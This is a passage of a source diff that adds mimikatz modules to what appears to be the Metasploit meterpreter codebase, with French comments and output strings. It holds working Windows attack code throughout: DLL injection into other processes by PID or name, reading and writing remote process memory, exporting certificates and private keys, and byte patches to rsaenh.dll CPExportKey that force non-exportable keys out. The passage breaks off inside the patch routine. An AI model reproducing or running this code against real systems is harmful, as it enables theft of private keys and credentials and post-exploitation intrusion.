if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
|
||||
{
|
||||
reussite = injectLibraryInHandle(processHandle, fullLibraryPath);
|
||||
CloseHandle(processHandle);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
if(mod_process::getUniqueForName(&monProcess, &processName))
|
||||
{
|
||||
reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath);
|
||||
}
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,19 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
|
||||
class mod_inject
|
||||
{
|
||||
public:
|
||||
static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath);
|
||||
static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath);
|
||||
static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath);
|
||||
};
|
||||
|
140
c/meterpreter/source/extensions/mimikatz/modules/mod_memory.cpp
Normal file
140
c/meterpreter/source/extensions/mimikatz/modules/mod_memory.cpp
Normal file
@ -0,0 +1,140 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_memory.h"
|
||||
|
||||
bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess)
|
||||
{
|
||||
if(handleProcess == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
SIZE_T dwBytesRead = 0;
|
||||
return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur));
|
||||
}
|
||||
}
|
||||
|
||||
bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD OldProtect, OldProtect2;
|
||||
|
||||
if(handleProcess == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
|
||||
{
|
||||
reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0);
|
||||
VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
|
||||
{
|
||||
SIZE_T dwBytesWrite = 0;
|
||||
reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur));
|
||||
VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2);
|
||||
}
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess)
|
||||
{
|
||||
BYTE * monTab = new BYTE[longueur];
|
||||
*addressePattern = adresseBase;
|
||||
bool succesLecture = true;
|
||||
bool succesPattern = false;
|
||||
|
||||
while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern)
|
||||
{
|
||||
if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess))
|
||||
{
|
||||
if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0)))
|
||||
{
|
||||
*addressePattern += (enAvant ? 1 : -1);
|
||||
}
|
||||
}
|
||||
}
|
||||
delete[] monTab;
|
||||
|
||||
if(!succesPattern)
|
||||
*addressePattern = NULL;
|
||||
|
||||
return succesPattern;
|
||||
}
|
||||
|
||||
bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess)
|
||||
{
|
||||
PBYTE addressePattern = NULL;
|
||||
bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess);
|
||||
*offsetPattern = addressePattern - adresseBase;
|
||||
return resultat;
|
||||
}
|
||||
|
||||
bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr)
|
||||
{
|
||||
bool resultat = false;
|
||||
if(thePtr && pattern && taillePattern)
|
||||
{
|
||||
if(HMODULE monModule = GetModuleHandle(moduleName))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
PBYTE addrMonModule = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
|
||||
if(PBYTE addrDebut = startFunc ? reinterpret_cast<PBYTE>(GetProcAddress(monModule, startFunc)) : addrMonModule)
|
||||
{
|
||||
if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant))
|
||||
{
|
||||
*thePtr += offSetToPtr;
|
||||
if(!noPtr)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
*thePtr += sizeof(long) + *reinterpret_cast<long *>(*thePtr);
|
||||
#elif defined _M_IX86
|
||||
*thePtr = *reinterpret_cast<PBYTE *>(*thePtr);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else *thePtr = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return resultat;
|
||||
}
|
||||
|
||||
/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle là !
|
||||
{
|
||||
PBYTE autreAddr = adresseBase;
|
||||
PBYTE monMask = new BYTE[longueurMask];
|
||||
PBYTE monTab = new BYTE[longueurMask];
|
||||
|
||||
RtlCopyMemory(monMask, maskPattern, longueurMask);
|
||||
bool succesLecture = false, succesPattern = false;
|
||||
do
|
||||
{
|
||||
PBYTE funkyDiff = reinterpret_cast<PBYTE>(addrPattern - (autreAddr + offsetAddrInMask + 4));
|
||||
RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast<PBYTE>(&funkyDiff), 4);
|
||||
succesLecture = readMemory(autreAddr, monTab, longueurMask);
|
||||
succesPattern = memcmp(monTab, monMask, longueurMask) == 0;
|
||||
autreAddr+=offset;
|
||||
} while(!succesPattern && succesLecture);
|
||||
|
||||
delete[] monMask;
|
||||
|
||||
if(succesPattern && succesLecture)
|
||||
{
|
||||
*addressePattern = autreAddr-offset;
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}*/
|
@ -0,0 +1,22 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <psapi.h>
|
||||
|
||||
class mod_memory
|
||||
{
|
||||
public:
|
||||
static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
|
||||
static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
|
||||
static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false);
|
||||
|
||||
/*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle là !*/
|
||||
};
|
@ -0,0 +1,593 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_crypto.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_crypto::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins système"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listProviders(vector<wstring> * arguments)
|
||||
{
|
||||
vector<wstring> * monVectorProviders = new vector<wstring>();
|
||||
/* CryptoAPI */
|
||||
wcout << L"Providers CryptoAPI :" << endl;
|
||||
if(mod_cryptoapi::getVectorProviders(monVectorProviders))
|
||||
for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
|
||||
wcout << L'\t' << *monProvider << endl;
|
||||
else wcout << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl;
|
||||
|
||||
/* CryptoNG */
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
wcout << endl;
|
||||
monVectorProviders->clear();
|
||||
|
||||
wcout << L"Providers CNG :" << endl;
|
||||
if(mod_cryptong::getVectorProviders(monVectorProviders))
|
||||
for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
|
||||
wcout << L'\t' << *monProvider << endl;
|
||||
else wcout << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
delete monVectorProviders;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listKeys(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportKeys(arguments, false);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::exportKeys(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportKeys(arguments, true);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listStores(vector<wstring> * arguments)
|
||||
{
|
||||
wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front());
|
||||
|
||||
wcout << L"Emplacement : \'" << monEmplacement << L'\'';
|
||||
|
||||
DWORD systemStore;
|
||||
if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
|
||||
{
|
||||
wcout << endl;
|
||||
vector<wstring> * mesStores = new vector<wstring>();
|
||||
if(mod_crypto::getVectorSystemStores(mesStores, systemStore))
|
||||
for(vector<wstring>::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++)
|
||||
wcout << L'\t' << *monStore << endl;
|
||||
else wcout << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl;
|
||||
delete mesStores;
|
||||
}
|
||||
else wcout << L" introuvable !" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listCertificates(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportCertificates(arguments, false);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::exportCertificates(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportCertificates(arguments, true);
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_crypto::listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys)
|
||||
{
|
||||
bool isMachine = false;
|
||||
DWORD providerType = PROV_RSA_FULL;
|
||||
wstring provider = MS_ENHANCED_PROV;
|
||||
|
||||
switch (arguments->size())
|
||||
{
|
||||
case 1:
|
||||
isMachine = true;
|
||||
case 0:
|
||||
break;
|
||||
case 3:
|
||||
isMachine = true;
|
||||
arguments->erase(arguments->begin());
|
||||
case 2:
|
||||
mod_cryptoapi::getProviderString(arguments->front(), &provider);
|
||||
mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType);
|
||||
break;
|
||||
default :
|
||||
wcout << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
wstring type = (isMachine ? L"machine" : L"user");
|
||||
|
||||
vector<wstring> * monVectorKeys = new vector<wstring>();
|
||||
|
||||
/* CryptoAPI */
|
||||
wcout << L"[" << type << L"] Clés CryptoAPI :" << endl;
|
||||
if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine))
|
||||
{
|
||||
DWORD i;
|
||||
vector<wstring>::iterator monContainer;
|
||||
for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
|
||||
{
|
||||
wcout << L"\t - " << *monContainer << endl;
|
||||
|
||||
HCRYPTPROV hCryptKeyProv = NULL;
|
||||
if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
|
||||
{
|
||||
HCRYPTKEY maCle = NULL;
|
||||
for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++)
|
||||
{
|
||||
if(CryptGetUserKey(hCryptKeyProv, ks, &maCle))
|
||||
{
|
||||
wcout << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl;
|
||||
DWORD param = 0, taille = sizeof(param);
|
||||
if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(¶m), &taille, NULL))
|
||||
wcout << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl;
|
||||
if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(¶m), &taille, NULL))
|
||||
wcout << L"\t\tTaille clé : " << param << endl;
|
||||
|
||||
if(exportKeys)
|
||||
{
|
||||
bool reussite = false;
|
||||
BYTE * monExport = NULL;
|
||||
DWORD tailleExport = 0;
|
||||
|
||||
wstringstream monBuff;
|
||||
wstring containerName = *monContainer;
|
||||
sanitizeFileName(&containerName);
|
||||
|
||||
monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk";
|
||||
|
||||
if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport))
|
||||
{
|
||||
reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks);
|
||||
delete[] monExport;
|
||||
}
|
||||
|
||||
wcout << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
wcout << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(maCle)
|
||||
CryptDestroyKey(maCle);
|
||||
else
|
||||
wcout << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl;
|
||||
|
||||
|
||||
CryptReleaseContext(hCryptKeyProv, 0);
|
||||
}
|
||||
else wcout << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl;
|
||||
|
||||
/* CryptoNG */
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
wcout << endl;
|
||||
monVectorKeys->clear();
|
||||
|
||||
wcout << L"[" << type << L"] Clés CNG :" << endl;
|
||||
if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine))
|
||||
{
|
||||
DWORD i;
|
||||
vector<wstring>::iterator monContainer;
|
||||
for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++)
|
||||
{
|
||||
wcout << L"\t - " << *monContainer << endl;
|
||||
|
||||
NCRYPT_KEY_HANDLE maCle;
|
||||
if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine))
|
||||
{
|
||||
bool exportable = false;
|
||||
DWORD size = 0;
|
||||
|
||||
if(mod_cryptong::isKeyExportable(&maCle, &exportable))
|
||||
wcout << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
|
||||
if(mod_cryptong::getKeySize(&maCle, &size))
|
||||
wcout << L"\t\tTaille clé : " << size << endl;
|
||||
|
||||
if(exportKeys)
|
||||
{
|
||||
bool reussite = false;
|
||||
BYTE * monExport = NULL;
|
||||
DWORD tailleExport = 0;
|
||||
|
||||
wstringstream monBuff;
|
||||
monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk";
|
||||
|
||||
if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport))
|
||||
{
|
||||
reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str());
|
||||
delete[] monExport;
|
||||
}
|
||||
|
||||
wcout << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
wcout << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
mod_cryptong::NCryptFreeObject(maCle);
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
delete monVectorKeys;
|
||||
}
|
||||
|
||||
|
||||
void mod_mimikatz_crypto::listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert)
|
||||
{
|
||||
wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER";
|
||||
wstring monStore = L"My";
|
||||
|
||||
if(arguments->size() == 1)
|
||||
{
|
||||
monEmplacement = arguments->front();
|
||||
}
|
||||
else if(arguments->size() == 2)
|
||||
{
|
||||
monEmplacement = arguments->front();
|
||||
monStore = arguments->back();
|
||||
}
|
||||
|
||||
wcout << L"Emplacement : \'" << monEmplacement << L'\'';
|
||||
|
||||
DWORD systemStore;
|
||||
if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
|
||||
{
|
||||
wcout << L"\\" << monStore << endl;
|
||||
if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str()))
|
||||
{
|
||||
DWORD i;
|
||||
PCCERT_CONTEXT pCertContext;
|
||||
for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++)
|
||||
{
|
||||
wstring * certName = new wstring();
|
||||
bool reussite = false;
|
||||
|
||||
if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName))
|
||||
certName->assign(L"[empty]");
|
||||
|
||||
wcout << L"\t - " << *certName << endl;;
|
||||
sanitizeFileName(certName);
|
||||
|
||||
wstringstream monBuff;
|
||||
monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.';
|
||||
|
||||
mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo;
|
||||
if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo))
|
||||
{
|
||||
wcout << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl;
|
||||
wcout << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl;
|
||||
|
||||
HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL;
|
||||
DWORD keySpec = 0;
|
||||
BOOL aFermer = false;
|
||||
|
||||
if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer))
|
||||
{
|
||||
wcout << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl;
|
||||
|
||||
DWORD size = 0;
|
||||
bool exportable = false;
|
||||
|
||||
if(keySpec == CERT_NCRYPT_KEY_SPEC)
|
||||
{
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
reussite = mod_cryptong::getKeySize(&monProv, &size);
|
||||
reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable);
|
||||
|
||||
if(aFermer)
|
||||
{
|
||||
mod_cryptong::NCryptFreeObject(monProv);
|
||||
}
|
||||
}
|
||||
else wcout << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
DWORD tailleEcrite = 0;
|
||||
DWORD exportability;
|
||||
|
||||
HCRYPTKEY maCle = NULL;
|
||||
if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0))
|
||||
{
|
||||
tailleEcrite = sizeof(DWORD);
|
||||
reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&size), &tailleEcrite, NULL) != 0);
|
||||
tailleEcrite = sizeof(DWORD);
|
||||
reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&exportability), &tailleEcrite, NULL) != 0);
|
||||
exportable = (exportability & CRYPT_EXPORT) != 0;
|
||||
}
|
||||
|
||||
if(aFermer)
|
||||
{
|
||||
CryptReleaseContext(monProv, 0);
|
||||
}
|
||||
}
|
||||
if(reussite)
|
||||
{
|
||||
wcout << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
|
||||
wcout << L"\t\tTaille clé : " << size << endl;
|
||||
}
|
||||
|
||||
if(exportCert)
|
||||
{
|
||||
wstring PFXFile = monBuff.str();
|
||||
PFXFile.append(L"pfx");
|
||||
|
||||
reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz");
|
||||
|
||||
wcout << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
wcout << L"\t\t\t" << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
if(exportCert)
|
||||
{
|
||||
wstring DERFile = monBuff.str();
|
||||
DERFile.append(L"der");
|
||||
|
||||
reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile);
|
||||
|
||||
wcout << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
wcout << L"\t\t\t" << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
delete certName;
|
||||
}
|
||||
CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG);
|
||||
}
|
||||
else wcout << L"CertOpenStore : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L" introuvable !" << endl;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_crypto::patchcapi(vector<wstring> * arguments)
|
||||
{
|
||||
wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll";
|
||||
char FUNCNAM_WALL_EXPORT[] = "CPExportKey";
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75};
|
||||
BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72};
|
||||
BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
|
||||
LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4;
|
||||
LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5;
|
||||
|
||||
BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82};
|
||||
BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
|
||||
LONG OFFS_W6AL_CPExportKey_EXPORT = 5;
|
||||
LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75};
|
||||
BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84};
|
||||
BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
|
||||
LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5;
|
||||
LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7;
|
||||
|
||||
BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85};
|
||||
BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85};
|
||||
BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
|
||||
LONG OFFS_WI60_CPExportKey_EXPORT = 3;
|
||||
LONG OFFS_WIN6_CPExportKey_EXPORT = 5;
|
||||
#endif
|
||||
|
||||
PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0;
|
||||
PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001);
|
||||
pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000);
|
||||
patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT);
|
||||
offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT;
|
||||
offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef _M_X64
|
||||
pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001);
|
||||
